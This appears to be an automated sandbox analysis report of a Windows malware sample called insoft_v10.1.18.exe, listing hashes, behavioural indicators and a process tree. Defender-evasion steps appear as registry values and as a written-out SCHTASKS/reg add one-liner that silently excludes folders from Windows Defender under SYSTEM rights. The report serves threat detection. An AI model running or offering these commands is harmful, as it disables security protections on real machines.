Analysis
- max time kernel
150s - max time network
155s - platform
windows10-2004_x64 - resource
win10v2004-20260513-en - resource tags
arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows - submitted
16/08/2026, 14:32
Static task
static1
Behavioral task
behavioral1
Sample
insoft_v10.1.18.exe
Resource
win10v2004-20260513-en
Behavioral task
behavioral2
Sample
insoft_v10.1.18.exe
Resource
win11ltsc2024-20260709-en
General
- Target insoft_v10.1.18.exe
- Size 35.0MB
- Sample260816-rwkftazeph
- SHA256 bf0b3024b0cea2648a8a82ad52b5a4910ff86c7126b5ca6cf86ee304f1dbb639
- MD5 4803109aaae270daa1a18ba916548298
- SHA1 9ed2f4a142421aa61043a197cad562bedc34e9d9
- SHA512 4074267c10152cb624166e54b3620db7e209a934643c35064a292c1684f50637a31cb44ccf92af0c11b7d95de06e6ad51b61d2ee04a575c5a6d501844bc2494e
- SSDEEP 196608:tQnmE+fMeDKqTnrT+B7A6Z6dSBqtiEPFNPL12V5pvUFgAV:uKJnGBr4Xu7vUf
- TLSH T1BC87074ABB40CEE6E11A85B098A77B1163FEFD6147E1C30321C83B15DF1B29D4EA7598
- MD5 SHA1 SHA512 SSDEEP TLSH
Malware Config
Signatures
- UAC bypass 3 TTPs 2 IoCs
description ioc Process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0" Xa4P2b.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0" sk1x6afR.exe - Windows security bypass 2 TTPs 16 IoCs
description ioc Process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users = "0" reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Public\SSg21l = "0" reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\ProgramData = "0" reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86) = "0" reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\Documents = "0" reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\Xa4P2b = "0" reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86) = "0" reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\Documents = "0" reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths reg.exe - Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
pid Process 3224 powershell.exe - Drops file in Drivers directory 1 IoCs
description ioc Process File opened for modification C:\Windows\system32\drivers\etc\hosts Xa4P2b.exe - Modifies RDP port number used by Windows 1 TTPs
- Possible privilege escalation attempt 23 IoCs
pid Process 3572 icacls.exe 628 icacls.exe 3512 icacls.exe 2000 icacls.exe 5052 icacls.exe 1340 icacls.exe 3504 icacls.exe 4652 takeown.exe 2080 icacls.exe 4888 icacls.exe 5024 icacls.exe 3820 icacls.exe 1832 icacls.exe 1644 icacls.exe 4380 icacls.exe 1824 icacls.exe 3732 icacls.exe 216 icacls.exe 4736 icacls.exe 1812 icacls.exe 2556 takeown.exe 924 icacls.exe 4372 icacls.exe - Checks computer location settings 2 TTPs 2 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-2937465464-4167303362-2236413517-1000\Control Panel\International\Geo\Nation siY1UN.exe Key value queried \REGISTRY\USER\S-1-5-21-2937465464-4167303362-2236413517-1000\Control Panel\International\Geo\Nation Xa4P2b.exe - Disables service(s) 3 TTPs
- Executes dropped EXE 9 IoCs
pid Process 4192 siY1UN.exe 3224 siY1UN.exe 3176 Xa4P2b.exe 3608 Xa4P2b.exe 3464 S63dy9W.exe 1476 Z4IsWp68.exe 4252 sk1x6afR.exe 1756 S63dy9W.exe 1772 Xa4P2b.exe - Loads dropped DLL 7 IoCs
pid Process 4192 siY1UN.exe 3224 siY1UN.exe 3176 Xa4P2b.exe 3608 Xa4P2b.exe 3464 S63dy9W.exe 1756 S63dy9W.exe 1772 Xa4P2b.exe - Modifies file permissions 1 TTPs 23 IoCs
pid Process 2080 icacls.exe 3732 icacls.exe 4652 takeown.exe 1812 icacls.exe 3820 icacls.exe 1340 icacls.exe 924 icacls.exe 1824 icacls.exe 4888 icacls.exe 2000 icacls.exe 3504 icacls.exe 4372 icacls.exe 1832 icacls.exe 3512 icacls.exe 4380 icacls.exe 1644 icacls.exe 3572 icacls.exe 628 icacls.exe 4736 icacls.exe 5024 icacls.exe 2556 takeown.exe 216 icacls.exe 5052 icacls.exe - Adds Run key to start application 2 TTPs 2 IoCs
description ioc Process Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Tencent SecurityHealth = "\"C:\\Users\\Public\\SSg21l\\siY1UN.exe\"" siY1UN.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Alibaba SecurityHealtha = "\"C:\\Program Files (x86)\\Xa4P2b\\Xa4P2b.exe\"" Xa4P2b.exe - Indicator Removal: Clear Persistence 1 TTPs 10 IoCs
Clear artifacts associated with previously established persistence like scheduletasks on a host.
pid Process 2116 cmd.exe 1684 cmd.exe 4424 cmd.exe 3972 cmd.exe 3448 cmd.exe 3444 cmd.exe 2708 cmd.exe 3104 cmd.exe 3328 cmd.exe 1692 cmd.exe - Drops file in System32 directory 1 IoCs
description ioc Process File created C:\Windows\System32\CodeIntegrity\SiPolicy.p7b siY1UN.exe -
resource yara_rule behavioral1/files/0x000500000001da34-782.dat upx behavioral1/memory/4252-783-0x0000000000400000-0x000000000053F000-memory.dmp upx behavioral1/memory/4252-846-0x0000000000400000-0x000000000053F000-memory.dmp upx - Drops file in Program Files directory 18 IoCs
description ioc Process File created C:\Program Files (x86)\Ir1RZajV\image.png Xa4P2b.exe File created C:\Program Files (x86)\Ir1RZajV\S63dy9W.exe Xa4P2b.exe File opened for modification C:\Program Files (x86)\Ir1RZajV\XPSPLOG.dll Xa4P2b.exe File opened for modification C:\Program Files (x86)\Ir1RZajV\image.png Xa4P2b.exe File opened for modification C:\Program Files (x86)\Ir1RZajV\thumbs.db Xa4P2b.exe File opened for modification C:\Program Files (x86)\Xa4P2b siY1UN.exe File created C:\Program Files (x86)\Xa4P2b\image.png siY1UN.exe File created C:\Program Files (x86)\Xa4P2b\thumbs.db siY1UN.exe File opened for modification C:\Program Files (x86)\Ir1RZajV\S63dy9W.exe Xa4P2b.exe File opened for modification C:\Program Files (x86)\Xa4P2b\Xa4P2b.exe siY1UN.exe File opened for modification C:\Program Files (x86)\Xa4P2b\XPSPLOG.dll siY1UN.exe File opened for modification C:\Program Files (x86)\Xa4P2b\image.png siY1UN.exe File created C:\Program Files (x86)\Ir1RZajV\XPSPLOG.dll Xa4P2b.exe File created C:\Program Files (x86)\Ir1RZajV\thumbs.db Xa4P2b.exe File created C:\Program Files (x86)\Xa4P2b\Xa4P2b.exe siY1UN.exe File created C:\Program Files (x86)\Xa4P2b\XPSPLOG.dll siY1UN.exe File opened for modification C:\Program Files (x86)\Xa4P2b\thumbs.db siY1UN.exe File opened for modification C:\Program Files (x86)\Ir1RZajV Xa4P2b.exe - Launches sc.exe 8 IoCs
Sc.exe is a Windows utlilty to control services on the system.
pid Process 2004 sc.exe 2600 sc.exe 4408 sc.exe 4772 sc.exe 5036 sc.exe 2880 sc.exe 1488 sc.exe 1616 sc.exe - Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Event Triggered Execution: Screensaver 1 TTPs 3 IoCs
Screensavers are programs that execute after a configurable time of user inactivity and consist of Portable Executable (PE) files with a .scr file extension.
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-2937465464-4167303362-2236413517-1000\Control Panel\Desktop\ScreenSaveActive = "0" Xa4P2b.exe Set value (str) \REGISTRY\USER\S-1-5-21-2937465464-4167303362-2236413517-1000\Control Panel\Desktop\ScreenSaverIsSecure = "0" Xa4P2b.exe Set value (str) \REGISTRY\USER\S-1-5-21-2937465464-4167303362-2236413517-1000\Control Panel\Desktop\SCRNSAVE.EXE Xa4P2b.exe - Executes a command shell one-liner 1 TTPs 27 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
pid Process 1776 cmd.exe 4292 cmd.exe 1356 cmd.exe 2648 cmd.exe 2632 cmd.exe 1596 cmd.exe 404 cmd.exe 5008 cmd.exe 3796 cmd.exe 3804 cmd.exe 4616 cmd.exe 2684 cmd.exe 2892 cmd.exe 4620 cmd.exe 2764 cmd.exe 4760 cmd.exe 2512 cmd.exe 3292 cmd.exe 2496 cmd.exe 4876 cmd.exe 3320 cmd.exe 4948 cmd.exe 4680 cmd.exe 2336 cmd.exe 4108 cmd.exe 4812 cmd.exe 4536 cmd.exe - System Location Discovery: System Language Discovery 1 TTPs 64 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language net1.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language Z4IsWp68.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language icacls.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language Xa4P2b.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language Xa4P2b.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language schtasks.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language sc.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language sk1x6afR.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language icacls.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language icacls.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language icacls.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language schtasks.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language S63dy9W.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language net.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language icacls.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language icacls.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language schtasks.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language schtasks.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language schtasks.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language sc.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language reg.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language icacls.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language schtasks.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language schtasks.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language icacls.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language schtasks.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language schtasks.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language icacls.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language sc.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language powershell.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language schtasks.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language schtasks.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language sc.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language sc.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language sc.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language icacls.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language icacls.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language icacls.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language net1.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language icacls.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language takeown.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language schtasks.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language icacls.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language reg.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language reg.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language icacls.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language schtasks.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language icacls.exe - Checks processor information in registry 2 TTPs 2 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 Xa4P2b.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz Xa4P2b.exe - Modifies Control Panel 4 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-2937465464-4167303362-2236413517-1000\Control Panel\Desktop\ScreenSaverIsSecure = "0" Xa4P2b.exe Set value (str) \REGISTRY\USER\S-1-5-21-2937465464-4167303362-2236413517-1000\Control Panel\Desktop\ScreenSaveTimeOut = "0" Xa4P2b.exe Set value (str) \REGISTRY\USER\S-1-5-21-2937465464-4167303362-2236413517-1000\Control Panel\Desktop\SCRNSAVE.EXE Xa4P2b.exe Set value (str) \REGISTRY\USER\S-1-5-21-2937465464-4167303362-2236413517-1000\Control Panel\Desktop\ScreenSaveActive = "0" Xa4P2b.exe - Modifies registry class 1 IoCs
description ioc Process Key created \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{1f3427c8-5c10-4210-aa03-2ee45287d668}\Instance\ siY1UN.exe - Runs net.exe
- Scheduled Task/Job: Scheduled Task 1 TTPs 10 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 1332 schtasks.exe 2564 schtasks.exe 2236 schtasks.exe 5068 schtasks.exe 2944 schtasks.exe 2856 schtasks.exe 5084 schtasks.exe 4120 schtasks.exe 4412 schtasks.exe 2884 schtasks.exe - Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 5104 insoft_v10.1.18.exe 5104 insoft_v10.1.18.exe 5104 insoft_v10.1.18.exe 5104 insoft_v10.1.18.exe 5104 insoft_v10.1.18.exe 5104 insoft_v10.1.18.exe 5104 insoft_v10.1.18.exe 5104 insoft_v10.1.18.exe 5104 insoft_v10.1.18.exe 5104 insoft_v10.1.18.exe 5104 insoft_v10.1.18.exe 5104 insoft_v10.1.18.exe 5104 insoft_v10.1.18.exe 5104 insoft_v10.1.18.exe 5104 insoft_v10.1.18.exe 5104 insoft_v10.1.18.exe 5104 insoft_v10.1.18.exe 5104 insoft_v10.1.18.exe 5104 insoft_v10.1.18.exe 5104 insoft_v10.1.18.exe 5104 insoft_v10.1.18.exe 5104 insoft_v10.1.18.exe 5104 insoft_v10.1.18.exe 5104 insoft_v10.1.18.exe 5104 insoft_v10.1.18.exe 5104 insoft_v10.1.18.exe 5104 insoft_v10.1.18.exe 5104 insoft_v10.1.18.exe 5104 insoft_v10.1.18.exe 5104 insoft_v10.1.18.exe 5104 insoft_v10.1.18.exe 5104 insoft_v10.1.18.exe 4192 siY1UN.exe 4192 siY1UN.exe 4192 siY1UN.exe 4192 siY1UN.exe 4192 siY1UN.exe 4192 siY1UN.exe 4192 siY1UN.exe 4192 siY1UN.exe 4192 siY1UN.exe 4192 siY1UN.exe 4192 siY1UN.exe 4192 siY1UN.exe 4192 siY1UN.exe 4192 siY1UN.exe 4192 siY1UN.exe 4192 siY1UN.exe 4192 siY1UN.exe 4192 siY1UN.exe 4192 siY1UN.exe 4192 siY1UN.exe 4192 siY1UN.exe 4192 siY1UN.exe 4192 siY1UN.exe 4192 siY1UN.exe 4192 siY1UN.exe 4192 siY1UN.exe 4192 siY1UN.exe 4192 siY1UN.exe 4192 siY1UN.exe 4192 siY1UN.exe 4192 siY1UN.exe 4192 siY1UN.exe - Suspicious behavior: LoadsDriver 4 IoCs
pid Process 660 Process not Found 660 Process not Found 660 Process not Found 660 Process not Found - Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeTakeOwnershipPrivilege 4652 takeown.exe Token: SeRestorePrivilege 5024 icacls.exe Token: SeDebugPrivilege 1476 Z4IsWp68.exe Token: SeTakeOwnershipPrivilege 2556 takeown.exe Token: SeRestorePrivilege 3820 icacls.exe Token: SeDebugPrivilege 3224 powershell.exe Token: SeIncreaseQuotaPrivilege 3224 powershell.exe Token: SeSecurityPrivilege 3224 powershell.exe Token: SeTakeOwnershipPrivilege 3224 powershell.exe Token: SeLoadDriverPrivilege 3224 powershell.exe Token: SeSystemProfilePrivilege 3224 powershell.exe Token: SeSystemtimePrivilege 3224 powershell.exe Token: SeProfSingleProcessPrivilege 3224 powershell.exe Token: SeIncBasePriorityPrivilege 3224 powershell.exe Token: SeCreatePagefilePrivilege 3224 powershell.exe Token: SeBackupPrivilege 3224 powershell.exe Token: SeRestorePrivilege 3224 powershell.exe Token: SeShutdownPrivilege 3224 powershell.exe Token: SeDebugPrivilege 3224 powershell.exe Token: SeSystemEnvironmentPrivilege 3224 powershell.exe Token: SeRemoteShutdownPrivilege 3224 powershell.exe Token: SeUndockPrivilege 3224 powershell.exe Token: SeManageVolumePrivilege 3224 powershell.exe Token: 33 3224 powershell.exe Token: 34 3224 powershell.exe Token: 35 3224 powershell.exe Token: 36 3224 powershell.exe Token: SeIncreaseQuotaPrivilege 3224 powershell.exe Token: SeSecurityPrivilege 3224 powershell.exe Token: SeTakeOwnershipPrivilege 3224 powershell.exe Token: SeLoadDriverPrivilege 3224 powershell.exe Token: SeSystemProfilePrivilege 3224 powershell.exe Token: SeSystemtimePrivilege 3224 powershell.exe Token: SeProfSingleProcessPrivilege 3224 powershell.exe Token: SeIncBasePriorityPrivilege 3224 powershell.exe Token: SeCreatePagefilePrivilege 3224 powershell.exe Token: SeBackupPrivilege 3224 powershell.exe Token: SeRestorePrivilege 3224 powershell.exe Token: SeShutdownPrivilege 3224 powershell.exe Token: SeDebugPrivilege 3224 powershell.exe Token: SeSystemEnvironmentPrivilege 3224 powershell.exe Token: SeRemoteShutdownPrivilege 3224 powershell.exe Token: SeUndockPrivilege 3224 powershell.exe Token: SeManageVolumePrivilege 3224 powershell.exe Token: 33 3224 powershell.exe Token: 34 3224 powershell.exe Token: 35 3224 powershell.exe Token: 36 3224 powershell.exe Token: SeIncreaseQuotaPrivilege 3224 powershell.exe Token: SeSecurityPrivilege 3224 powershell.exe Token: SeTakeOwnershipPrivilege 3224 powershell.exe Token: SeLoadDriverPrivilege 3224 powershell.exe Token: SeSystemProfilePrivilege 3224 powershell.exe Token: SeSystemtimePrivilege 3224 powershell.exe Token: SeProfSingleProcessPrivilege 3224 powershell.exe Token: SeIncBasePriorityPrivilege 3224 powershell.exe Token: SeCreatePagefilePrivilege 3224 powershell.exe Token: SeBackupPrivilege 3224 powershell.exe Token: SeRestorePrivilege 3224 powershell.exe Token: SeShutdownPrivilege 3224 powershell.exe Token: SeDebugPrivilege 3224 powershell.exe Token: SeSystemEnvironmentPrivilege 3224 powershell.exe Token: SeRemoteShutdownPrivilege 3224 powershell.exe Token: SeUndockPrivilege 3224 powershell.exe - Suspicious use of SetWindowsHookEx 2 IoCs
pid Process 4252 sk1x6afR.exe 4252 sk1x6afR.exe - Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 4192 wrote to memory of 3448 4192 siY1UN.exe 95 PID 3448 wrote to memory of 4120 3448 cmd.exe 98 PID 3448 wrote to memory of 1476 3448 cmd.exe 99 PID 3448 wrote to memory of 1804 3448 cmd.exe 102 PID 4192 wrote to memory of 3444 4192 siY1UN.exe 104 PID 3444 wrote to memory of 1332 3444 cmd.exe 107 PID 3796 wrote to memory of 1772 3796 cmd.exe 108 PID 4192 wrote to memory of 2708 4192 siY1UN.exe 109 PID 3444 wrote to memory of 1508 3444 cmd.exe 111 PID 2708 wrote to memory of 2564 2708 cmd.exe 113 PID 3444 wrote to memory of 4056 3444 cmd.exe 115 PID 2708 wrote to memory of 4804 2708 cmd.exe 116 PID 2708 wrote to memory of 4760 2708 cmd.exe 117 PID 4876 wrote to memory of 4596 4876 cmd.exe 118 PID 4192 wrote to memory of 1692 4192 siY1UN.exe 119 PID 1692 wrote to memory of 2236 1692 cmd.exe 121 PID 1692 wrote to memory of 3536 1692 cmd.exe 122 PID 1692 wrote to memory of 3512 1692 cmd.exe 125 PID 1776 wrote to memory of 1700 1776 cmd.exe 126 PID 4192 wrote to memory of 3104 4192 siY1UN.exe 127 PID 3104 wrote to memory of 5068 3104 cmd.exe 129 PID 3104 wrote to memory of 3404 3104 cmd.exe 130 PID 3104 wrote to memory of 212 3104 cmd.exe 133 PID 4292 wrote to memory of 4948 4292 cmd.exe 134 PID 4192 wrote to memory of 3176 4192 siY1UN.exe 135 PID 3176 wrote to memory of 1356 3176 Xa4P2b.exe 140 PID 3176 wrote to memory of 2648 3176 Xa4P2b.exe 142 PID 3176 wrote to memory of 4760 3176 Xa4P2b.exe 144 PID 3176 wrote to memory of 3320 3176 Xa4P2b.exe 146 PID 2648 wrote to memory of 3512 2648 cmd.exe 148 PID 3176 wrote to memory of 2632 3176 Xa4P2b.exe 149 PID 3176 wrote to memory of 3328 3176 Xa4P2b.exe 151 PID 3176 wrote to memory of 4948 3176 Xa4P2b.exe 153 PID 2632 wrote to memory of 4676 2632 cmd.exe 155 PID 3328 wrote to memory of 4412 3328 cmd.exe 156 PID 4948 wrote to memory of 216 4948 cmd.exe 157 PID 4676 wrote to memory of 1872 4676 net.exe 158 PID 3176 wrote to memory of 2116 3176 Xa4P2b.exe 159 PID 3328 wrote to memory of 5032 3328 cmd.exe 161 PID 2116 wrote to memory of 2944 2116 cmd.exe 218 PID 3176 wrote to memory of 4680 3176 Xa4P2b.exe 164 PID 3328 wrote to memory of 1612 3328 cmd.exe 166 PID 4680 wrote to memory of 2000 4680 cmd.exe 221 PID 2116 wrote to memory of 1716 2116 cmd.exe 168 PID 3176 wrote to memory of 404 3176 Xa4P2b.exe 169 PID 2116 wrote to memory of 2980 2116 cmd.exe 171 PID 404 wrote to memory of 5052 404 cmd.exe 172 PID 3176 wrote to memory of 2336 3176 Xa4P2b.exe 173 PID 2336 wrote to memory of 1340 2336 cmd.exe 175 PID 3176 wrote to memory of 1684 3176 Xa4P2b.exe 176 PID 3176 wrote to memory of 4108 3176 Xa4P2b.exe 178 PID 1684 wrote to memory of 2856 1684 cmd.exe 180 PID 4108 wrote to memory of 4380 4108 cmd.exe 181 PID 1684 wrote to memory of 952 1684 cmd.exe 183 PID 3176 wrote to memory of 4812 3176 Xa4P2b.exe 184 PID 4812 wrote to memory of 3504 4812 cmd.exe 187 PID 1684 wrote to memory of 4324 1684 cmd.exe 188 PID 3176 wrote to memory of 3804 3176 Xa4P2b.exe 190 PID 3804 wrote to memory of 1644 3804 cmd.exe 192 PID 3176 wrote to memory of 2684 3176 Xa4P2b.exe 193 PID 5008 wrote to memory of 3040 5008 cmd.exe 195 PID 2684 wrote to memory of 2080 2684 cmd.exe 196 PID 1596 wrote to memory of 2328 1596 cmd.exe 197 PID 3176 wrote to memory of 2512 3176 Xa4P2b.exe 198 - System policy modification 1 TTPs 4 IoCs
description ioc Process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0" Xa4P2b.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System Xa4P2b.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System sk1x6afR.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0" sk1x6afR.exe - Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
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C:\Users\Admin\AppData\Local\Temp\insoft_v10.1.18.exe"C:\Users\Admin\AppData\Local\Temp\insoft_v10.1.18.exe"1⤵
- Suspicious behavior: EnumeratesProcesses
PID:5104
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C:\Users\Public\SSg21l\siY1UN.exeC:\Users\Public\SSg21l\siY1UN.exe1⤵
- Checks computer location settings
- Executes dropped EXE
- Loads dropped DLL
- Adds Run key to start application
- Drops file in System32 directory
- Drops file in Program Files directory
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:4192 -
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\SSg21l\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F2⤵
- Indicator Removal: Clear Persistence
- Suspicious use of WriteProcessMemory
PID:3448 -
C:\Windows\system32\schtasks.exeSCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\SSg21l\" /t REG_DWORD /d 0 /f"3⤵
- Scheduled Task/Job: Scheduled Task
PID:4120
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C:\Windows\system32\schtasks.exeSCHTASKS /Run /TN "Task1"3⤵PID:1476
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C:\Windows\system32\schtasks.exeSCHTASKS /Delete /TN "Task1" /F3⤵PID:1804
